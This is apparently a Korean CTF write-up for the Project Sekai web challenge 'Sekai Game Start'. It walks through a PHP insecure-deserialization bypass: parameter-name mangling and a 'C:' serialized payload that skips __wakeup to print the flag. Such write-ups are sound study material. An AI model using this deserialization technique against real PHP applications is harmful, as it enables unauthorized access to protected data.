본문 바로가기

CTF/Project Sekai

[Web] Sekai Game Start

[Web] Sekai Game Start

 

 

문제에서 제공한 웹에 접속하면 아래와 같은 php 코드가 보인다.

 

<?php
include('./flag.php');
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['sekai_game.run'])){
    unserialize($_GET['sekai_game.run']);
}else{
    highlight_file(__FILE__);
}

?>

 

코드를 보면 sekai_game.run이라는 GET 파라미터를 받아 unserialize 함수에 넘겨주면 Flag가 출력이 된다.

 

 

 

 

 

php에서는 파라미터로 '.'이 들어오면 언더바로 변경하고, 대괄호가 들어오면 replace가 한 번만 이루어진다.

이를 이용하여 if()문의 결과값을 True로 설정할 수 있다.

 

 

 

 

 

아래와 같이 class를 serialize 함수로 만들 경우

 

<?php
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
$o = new Sekai_Game;
echo serialize($o); // O:10:"Sekai_Game":1:{s:5:"start";b:1;}
?>

 

 

 

 

 

serialize 함수 부분의 o를 c로 바꾸어 object 대신 class를 인식하게 될 경우

 

<?php
class Sekai_Game{
    public $start = True;
    public function __destruct(){
        if($this->start === True){
            echo "Sekai Game Start Here is your flag ".getenv('FLAG');
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
unserialize('C:10:"Sekai_Game":0:{}');
?>

 

unserialize 함수가 실행되면서 __wakeup 함수를 수행하지 않게 됨

__wakeup 함수: unserialize 함수가 실행될 때 자동으로 실행되는 함수

 

 

 

 

 

위에서 작성한 php 코드를 실행할 경우 다음과 같이 플래그가 출력이 된다. 

 

SEKAI{W3lcome_T0_Our_universe}

 

 

'CTF > Project Sekai' 카테고리의 다른 글

[Forensics] flag Mono  (0) 2022.11.18
[Forensics] Broken Converter  (0) 2022.11.18